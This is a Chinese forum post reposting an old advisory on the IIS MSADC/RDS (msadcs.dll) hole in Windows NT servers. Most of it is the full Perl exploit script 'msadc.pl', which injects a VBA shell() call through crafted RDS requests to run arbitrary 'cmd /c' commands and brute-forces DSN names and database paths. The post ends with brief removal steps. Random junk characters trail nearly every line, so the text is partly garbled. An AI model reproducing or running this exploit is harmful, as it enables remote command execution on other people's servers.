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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) +n%d,Pz  
y;if+  
涉及程序: J2Mq1*Vpq  
Microsoft NT server {E;oirv&  
kaT  !   
描述: N>H#Ew@2U  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 (KLhF  
EzeU-!|W  
详细:  :I{9k~  
如果你没有时间读详细内容的话,就删除: U2Tw_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ^OOoo2  
有关的安全问题就没有了。 B1V+CP3t  
3#0y.. F  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 UQg_y3 #V  
*Fg)`M3g  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7w<e^H?  
关于利用ODBC远程漏洞的描述,请参看: <}p]0iA  
WfXwI 'y  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G=F_{z\}  
SajG67  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 L)n_  Q  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &qzy?/i8  
Y?qUO2  
这里不再论述。 \ iA'^69  
jL7r1pu5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: sVpET  
&P,uK+C4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ' Tk4P{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! l>?f+70  
HUChg{[  
jqj4(J@%yr  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Uc, J+j0F  
:Xs4C%H;  
#!perl BM{*5Lf  
# >m:n6M'r  
# MSADC/RDS 'usage' (aka exploit) script ~>H,~</`  
# o-o -'0l  
# by rain.forest.puppy  sd"eu  
# gZ| !'  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me UcKVL zKs  
# beta test and find errors! MH|F<$42  
ifNyVE Hy  
use Socket; use Getopt::Std; x_x_TEyyh  
getopts("e:vd:h:XR", \%args); w!pj);jy{  
~z\a:+  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 8Vjv #pm  
{r~=mQ  
if (!defined $args{h} && !defined $args{R}) { ?t<g|H/|6  
print qq~ Na4O( d`  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }H<Z`3_U%  
-h <host> = host you want to scan (ip or domain) %^d<go^  
-d <seconds> = delay between calls, default 1 second =CW> ;h]  
-X = dump Index Server path table, if available MGf*+!y,  
-v = verbose +w7U7" xQ  
-e = external dictionary file for step 5 |2=@8_am  
|@~_&g  
Or a -R will resume a command session O+|ipw*B%  
V!(7=ku!`  
~; exit;} 73B[|J*  
}d>Xh8:%)  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; D@O5Gd  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _#1EbvO*l  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 5 NC77}^.  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); PJ4/E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} l=t/"M=  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,zuS)?  
"TP~TjXfq  
if (!defined $args{R}){ $ret = &has_msadc; g!.piG|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} C>'G?  
;B;@MD,B  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" [W*M#00_&4  
. "cmd /c "; "iGQ1#6|d  
$in=<STDIN>; chomp $in; sv&^sARN  
$command="cmd /c " . $in ; y@,PTF  
5JEOLPS  
if (defined $args{R}) {&load; exit;} 5rfDm  
J[05T1  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; -L4G)%L\  
&try_btcustmr; HI{h>g T  
~]#-S20  
print "\nStep 2: Trying to make our own DSN..."; <Y6zJ#BD  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `K:n=hpF  
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print "\nStep 3: Trying known DSNs..."; tSux5 yV  
&known_dsn; ]l C2YD}  
V']Z_$_  
print "\nStep 4: Trying known .mdbs..."; 'sXrtl7{^  
&known_mdb; YXZP-=fB>i  
*];QPi~  
if (defined $args{e}){ ,(Ol]W}  
print "\nStep 5: Trying dictionary of DSN names..."; pg!MtuC}  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } |x.^rx`  
AE+BrN +"2  
print "Sorry Charley...maybe next time?\n"; H2H[DVKv  
exit; XI |k,Ko<  
Rnoz[1y?0  
############################################################################## c~~4eia)  
0e+#{k  
sub sendraw { # ripped and modded from whisker Wz #Cyjo  
sleep($delay); # it's a DoS on the server! At least on mine... ';Q8x?BS  
my ($pstr)=@_; iqdU?&.;  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,Jh#$mil  
die("Socket problems\n"); 9l "=]7~%  
if(connect(S,pack "SnA4x8",2,80,$target)){ JV@G9PT  
select(S); $|=1; 3!\h'5{  
print $pstr; my @in=<S>; |OAM;@jH  
select(STDOUT); close(S); qjhk#\y  
return @in; Woj5 yr  
} else { die("Can't connect...\n"); }} & !ds#-  
i NfAn&  
############################################################################## =+K?@;?  
kW2DKr-[  
sub make_header { # make the HTTP request *l 4[`7|  
my $msadc=<<EOT -)^vO*b 0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #R:&Irh  
User-Agent: ACTIVEDATA m< )`@6a/  
Host: $ip cfilH"EK  
Content-Length: $clen :hs~;vn)  
Connection: Keep-Alive U]gUGD!5x  
7M4J{}9  
ADCClientVersion:01.06 9PA<g3z  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 akNqSZwj  
r180vbN$  
--!ADM!ROX!YOUR!WORLD! hSw=Oq82  
Content-Type: application/x-varg Ha|}Oj  
Content-Length: $reqlen AEaN7[PQx|  
|nWEuKHy  
EOT ?T_MP"  
; $msadc=~s/\n/\r\n/g; g)^s+Y  
return $msadc;} De^:9<{jc  
[520!JhZY  
############################################################################## \eNB L[  
jd-ccnR l  
sub make_req { # make the RDS request HV)aVkr/&  
my ($switch, $p1, $p2)=@_; &z1U0uk  
my $req=""; my $t1, $t2, $query, $dsn; pZlsDM/=  
$A9Pi"/*z  
if ($switch==1){ # this is the btcustmr.mdb query O=V_ 7I5  
$query="Select * from Customers where City=" . make_shell(); RqGX(Iuv  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . aVHIU3  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ^~-YS-.J#,  
_~;%zFX  
elsif ($switch==2){ # this is general make table query vm[*+&\2  
$query="create table AZZ (B int, C varchar(10))"; 7@>/O)>(AS  
$dsn="$p1";} ]b; m~|9  
xx>h J!  
elsif ($switch==3){ # this is general exploit table query C 'MR=/sd  
$query="select * from AZZ where C=" . make_shell(); 'nGUm[vh  
$dsn="$p1";} ,lA @C2 c  
OqIXFX"  
elsif ($switch==4){ # attempt to hork file info from index server 5N $XY@  
$query="select path from scope()"; aIFlNS,y  
$dsn="Provider=MSIDXS;";} ih/E,B"  
/ @"{u0  
elsif ($switch==5){ # bad query pXl[I;  
$query="select"; &l7E|.JE  
$dsn="$p1";} 0y,w\'j  
5 | ,b  
$t1= make_unicode($query); I/tMFg  
$t2= make_unicode($dsn); ap )B%9  
$req = "\x02\x00\x03\x00"; Uzzm2OS`  
$req.= "\x08\x00" . pack ("S1", length($t1)); s$>n U  
$req.= "\x00\x00" . $t1 ; <^Vj1s  
$req.= "\x08\x00" . pack ("S1", length($t2)); :=;{w~D  
$req.= "\x00\x00" . $t2 ; }R#W<4:  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Ve|:k5z  
return $req;} f0 sGE5  
"E\mj'k  
############################################################################## .gDq+~r8O  
$Q8 &TM}E  
sub make_shell { # this makes the shell() statement 5[SwF& zZ  
return "'|shell(\"$command\")|'";} S Dil\x  
ebI2gEu;a  
############################################################################## vuPNru" 2  
W6i{ yne W  
sub make_unicode { # quick little function to convert to unicode C h>F11kC  
my ($in)=@_; my $out; wxo  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 2=Naq Ht(  
return $out;} ) yMrE T m  
iO5g30l  
############################################################################## aim\ 3y~  
8]&:'  
sub rdo_success { # checks for RDO return success (this is kludge) T8z?_ *k  
my (@in) = @_; my $base=content_start(@in); y0mNDze  
if($in[$base]=~/multipart\/mixed/){ RSym9t90t  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} UTyV6~  
return 0;} hk4t #Km  
{owuYVm  
############################################################################## K-C,n~-  
WV$CZgL  
sub make_dsn { # this makes a DSN for us {IV% _y?  
my @drives=("c","d","e","f"); |{YN3"qN  
print "\nMaking DSN: "; - C q;  
foreach $drive (@drives) { R>"Fc/{y  
print "$drive: "; e9h@G#  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . s/IsrcfM  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $!.>)n  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); '^_u5Y]  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 7:u+cv  
return 0 if $2 eq "404"; # not found/doesn't exist hOAZvrfQ4  
if($2 eq "200") { /VT/KT{  
foreach $line (@results) { ~\CS%thX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} N~O3KG q  
} return 0;} dn- [Gnde  
f<@!{y 2Xe  
############################################################################## ^-~JkW'z  
P+hcj p*  
sub verify_exists { ~/`/r%1/J  
my ($page)=@_; &su'znLV  
my @results=sendraw("GET $page HTTP/1.0\n\n"); EYq?NL='  
return $results[0];} [UzD3VPg  
~#*C,4m  
############################################################################## *pJGp:{6V?  
^)gyKl:E'  
sub try_btcustmr { 8mreHa  
my @drives=("c","d","e","f"); o2ggHZe/=@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Bxm,?=h  
WMa0L&C~v  
foreach $dir (@dirs) { MMFwT(l<1  
print "$dir -> "; # fun status so you can see progress N2}SR|.  
foreach $drive (@drives) { H/O.h@E4X  
print "$drive: "; # ditto Kk8} m;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Res U5Ce~  
$reqlenlen=length( "$reqlen" ); A ]A{HEX  
$clen= 206 + $reqlenlen + $reqlen; ^r\ rpSN  
JkAM:,^(  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); sg $db62>  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} yv[j Pbe  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} }UW7py!TN  
luf5-XT  
############################################################################## g^]Iw~T6$  
XX~vg>3_  
sub odbc_error { ':wf%_Iw  
my (@in)=@_; my $base; c 3QgX4vq  
my $base = content_start(@in); VyxYv-$Y  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1XSnnkJm  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; s7 "xDDV  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x"12$7 9=  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :]-oo*xP  
return $in[$base+4].$in[$base+5].$in[$base+6];} sW]^YT>?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; -XV,r<''  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . +'?Qph6o,7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} | ;tH?E  
/sKL|]i=  
############################################################################## l/X_CM8y~  
l'+3 6  
sub verbose { 'c s(gc 0  
my ($in)=@_; YO7U}6wBt  
return if !$verbose; E JkHPn  
print STDOUT "\n$in\n";} QO'Hyf t  
:X;G]B .  
############################################################################## Kq")\Ha,f  
X( N~tE  
sub save { EMmgX*iu@  
my ($p1, $p2, $p3, $p4)=@_; p'/\eBhG]=  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; At(88(y-W  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )5Khl"6!z  
close OUT;} K&L!O3#(  
_ >OP  
############################################################################## ANhtz1Fl  
XQ]K,# i  
sub load { Yr9'2.%Q  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; y *i&p4Y*  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2zBk#c+  
@p=<IN>; close(IN); J6Z[c*W  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 2Xt4Rqk$  
$target= inet_aton($ip) || die("inet_aton problems"); u;`]U$Qq9  
print "Resuming to $ip ..."; OpUfK4U)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; bWswF<y-  
if($p[1]==1) { )/;KxaKt  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; p/h\QG1   
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Y [`+7w  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ?*fa5=ql  
if (rdo_success(@results)){print "Success!\n";} Ww]$zd-bo  
else { print "failed\n"; verbose(odbc_error(@results));}} ;'"'|} xn  
elsif ($p[1]==3){ $p0nq&4c  
if(run_query("$p[3]")){ A WR :~{  
print "Success!\n";} else { print "failed\n"; }} 2}vibDq p  
elsif ($p[1]==4){ \]ib%,:YU  
if(run_query($drvst . "$p[3]")){ w 3t,S3!  
print "Success!\n"; } else { print "failed\n"; }} mrTf[ "K  
exit;} Ni_H1G  
@ st>#]i4  
############################################################################## [?]N GTr#  
7H7 Xbi@  
sub create_table { 6$`<Y?  
my ($in)=@_; [EAOk=X  
$reqlen=length( make_req(2,$in,"") ) - 28;  0,Ds1y^  
$reqlenlen=length( "$reqlen" ); 'oa.-g5  
$clen= 206 + $reqlenlen + $reqlen; 5nG\J g7  
my @results=sendraw(make_header() . make_req(2,$in,"")); 7)rQf{q7  
return 1 if rdo_success(@results); {?qfH>oFA  
my $temp= odbc_error(@results); verbose($temp); m}]{Y'i]R  
return 1 if $temp=~/Table 'AZZ' already exists/; q*hn5K*  
return 0;} C;BO6$*_e  
a"#t'\  
############################################################################## ;d?BVe?  
Xb _ V\b0  
sub known_dsn { S:xXD^n#H  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go L!Jx`zM^  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", jD S?p)&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", e={O&9Z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); aHhLz>H'  
 ?8>a;0  
foreach $dSn (@dsns) { =E-x0sr?  
print "."; XcJ5KTn  
next if (!is_access("DSN=$dSn")); pS?D~0Nb  
if(create_table("DSN=$dSn")){ (XZ[-M7  
print "$dSn successful\n"; ;z:Rj}l  
if(run_query("DSN=$dSn")){ v{" nyW6#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { SoIK<*J  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $fb%?n{  
jFSR+mP!  
############################################################################## ]cRvdUGv  
zEQ]5>mG  
sub is_access { ?^&ih:"  
my ($in)=@_; Ac_P^  
$reqlen=length( make_req(5,$in,"") ) - 28; IFLphm5  
$reqlenlen=length( "$reqlen" ); ql?w6qFs]  
$clen= 206 + $reqlenlen + $reqlen; |_53So: g  
my @results=sendraw(make_header() . make_req(5,$in,"")); )~'UJPK  
my $temp= odbc_error(@results); mR0`wrt  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !?,, ZD  
return 0;} 7K"3[.  
z teu{0  
############################################################################## ]3,'U(!+  
d6i}xnmC  
sub run_query { EjPR+m  
my ($in)=@_;  ][ $UN  
$reqlen=length( make_req(3,$in,"") ) - 28; S>lP?2J  
$reqlenlen=length( "$reqlen" ); *l7 `C)  
$clen= 206 + $reqlenlen + $reqlen; P]+B}))  
my @results=sendraw(make_header() . make_req(3,$in,"")); X@~/.H5  
return 1 if rdo_success(@results); pSx5ume95"  
my $temp= odbc_error(@results); verbose($temp); lxn/97rA  
return 0;} 1hbQ30  
a~2Jf @I3  
############################################################################## 4H 6t" X  
h,[L6-n  
sub known_mdb { z%}"=  
my @drives=("c","d","e","f","g"); |!oC7!+0^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PMQTcQ^  
my $dir, $drive, $mdb; g`y9UYeh  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; <@J$hs9s  
V9[_aP;  
# this is sparse, because I don't know of many jOhAXe;~X{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ` nX, x-UM  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", !.h{/37]  
"\\system32\\certmdb.mdb", ruaZ(R[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b:(+d"S  
H{cOkuy  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", FK BRJ5O  
"\\cfusion\\cfapps\\forums\\forums_.mdb", p\zqZ=s  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9/"&6,  
"\\cfusion\\cfapps\\security\\realm_.mdb", A1zRzg4I  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", eC/{c1C  
"\\cfusion\\database\\cfexamples.mdb", AQ-PHv  
"\\cfusion\\database\\cfsnippets.mdb", \>$zxC_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", pj%]t  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", q/?*|4I  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Y%}&eN$r  
"\\cfusion\\database\\smpolicy.mdb", @3n!5XM{EE  
"\\cfusion\\database\cypress.mdb", nOC\ =<Nsg  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", V lZ+x)E  
"\\website\\cgi-win\\dbsample.mdb", B7Ket8<J  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 60{G 4b)  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 5Sl"1HL  
); #these are just -zECxHj x  
foreach $drive (@drives) { =p|IWn{P  
foreach $dir (@dirs){ 3[#^$_96b  
foreach $mdb (@sysmdbs) { :[a*I6/^  
print "."; F- kjv\  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ mxqZj8VuH  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Gza= 0  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ R&1>\t  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; IB|!51H  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Y6wr}U  
$mxG-'x%K  
foreach $drive (@drives) { :{<|,3oNdR  
foreach $mdb (@mdbs) { :h,}yBJ1L  
print "."; bfeTf66c  
if(create_table($drv . $drive . $dir . $mdb)){ ,u@:(G  
print "\n" . $drive . $dir . $mdb . " successful\n"; t %u0=V  
if(run_query($drv . $drive . $dir . $mdb)){ /[c_,G" "  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /J}G{Y |n  
} else { print "Something's borked. Use verbose next time\n"; }}}} g_4%M0&AX  
} x)80:A}  
"1|g eO|  
############################################################################## j&ti "|2\  
)pI( <  
sub hork_idx { G=qlE?j`j  
print "\nAttempting to dump Index Server tables...\n"; FqyxvL.  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,{IDf  
$reqlen=length( make_req(4,"","") ) - 28; :X":>M;;+  
$reqlenlen=length( "$reqlen" ); Dp ['U  
$clen= 206 + $reqlenlen + $reqlen; Pjq'c+4.yL  
my @results=sendraw2(make_header() . make_req(4,"",""));  LcLHX  
if (rdo_success(@results)){ N+~ MS3  
my $max=@results; my $c; my %d; [( xPX  
for($c=19; $c<$max; $c++){ \= ({T_j4  
$results[$c]=~s/\x00//g; YUSrZ9Yg  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; <=CABWO.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; -s HX   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _"*vj-{-y  
$d{"$1$2"}="";} |i B#   
foreach $c (keys %d){ print "$c\n"; } 8Z}%,G*n  
} else {print "Index server doesn't seem to be installed.\n"; }} 3]S_w[Q4  
/ 8O=3  
############################################################################## )h ,v(Rxa  
OGEe8Z9Jt  
sub dsn_dict { <uU<qO;6  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); @n qM#  
while(<IN>){ [<r.M<3  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; b4:{PD~Mh  
next if (!is_access("DSN=$dSn")); L0VZ>!*o  
if(create_table("DSN=$dSn")){ jNbVp{%/S}  
print "$dSn successful\n"; h5P ]`r  
if(run_query("DSN=$dSn")){ vo E t\H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yIiVhI?X  
print "Something's borked. Use verbose next time\n";}}} = 1veO0  
print "\n"; close(IN);} iB99.,o-&  
]@y%j'e  
############################################################################## UNSXr`9  
q4X( _t  
sub sendraw2 { # ripped and modded from whisker BN&)5M?Xt6  
sleep($delay); # it's a DoS on the server! At least on mine... nh7_ jEX  
my ($pstr)=@_; UvMkL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _zbIS&4  
die("Socket problems\n"); ,J2qLH1  
if(connect(S,pack "SnA4x8",2,80,$target)){ NPv.7,  
print "Connected. Getting data"; w\[l4|g `  
open(OUT,">raw.out"); my @in; ?9?A)?O<j~  
select(S); $|=1; print $pstr; B0 A`@9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} z\FBN=54z  
close(OUT); select(STDOUT); close(S); return @in; eSIG+{;&  
} else { die("Can't connect...\n"); }} {Zw;<1{E  
z 3[J sE%  
############################################################################## 1tO96t^d%  
v? 8i;[  
sub content_start { # this will take in the server headers P cbhylKd  
my (@in)=@_; my $c; /\Cf*cJ  
for ($c=1;$c<500;$c++) { jD<xpD  
if($in[$c] =~/^\x0d\x0a/){ 6 o   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } W.s8!KH:  
else { return $c+1; }}} F6J]T6 Y  
return -1;} # it should never get here actually .[eC w  
,^n&Q'p3  
############################################################################## 6? lAbW  
-vm1xp$  
sub funky { @=z.^I30  
my (@in)=@_; my $error=odbc_error(@in); wIAH,3!  
if($error=~/ADO could not find the specified provider/){ !m))Yp-"H  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; N,B!D~@  
exit;} b IxH0=f  
if($error=~/A Handler is required/){ {o^tSEN!-  
print "\nServer has custom handler filters (they most likely are patched)\n"; H9'psv  
exit;} c ?<)!9:  
if($error=~/specified Handler has denied Access/){ tKyGD|g S  
print "\nServer has custom handler filters (they most likely are patched)\n"; I lO,Ql  
exit;}} 6jm?d"9  
2aR9vmR  
############################################################################## 3S#p4{3   
A|K=>7n]U  
sub has_msadc { h$sOJs~6h  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); GwXhn2  
my $base=content_start(@results); "] 2^O  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); JXRU9`3)A  
return 0;} Y6Y"fb%K  
GL>YJ%  
######################## atd;)o0*0  
|_g7k2oLY  
R<I#. KD  
解决方案: z.(DDj  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll fp(zd;BSQ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *pD|N  
%A3m%&(m&%  
拿出来充数 哈哈
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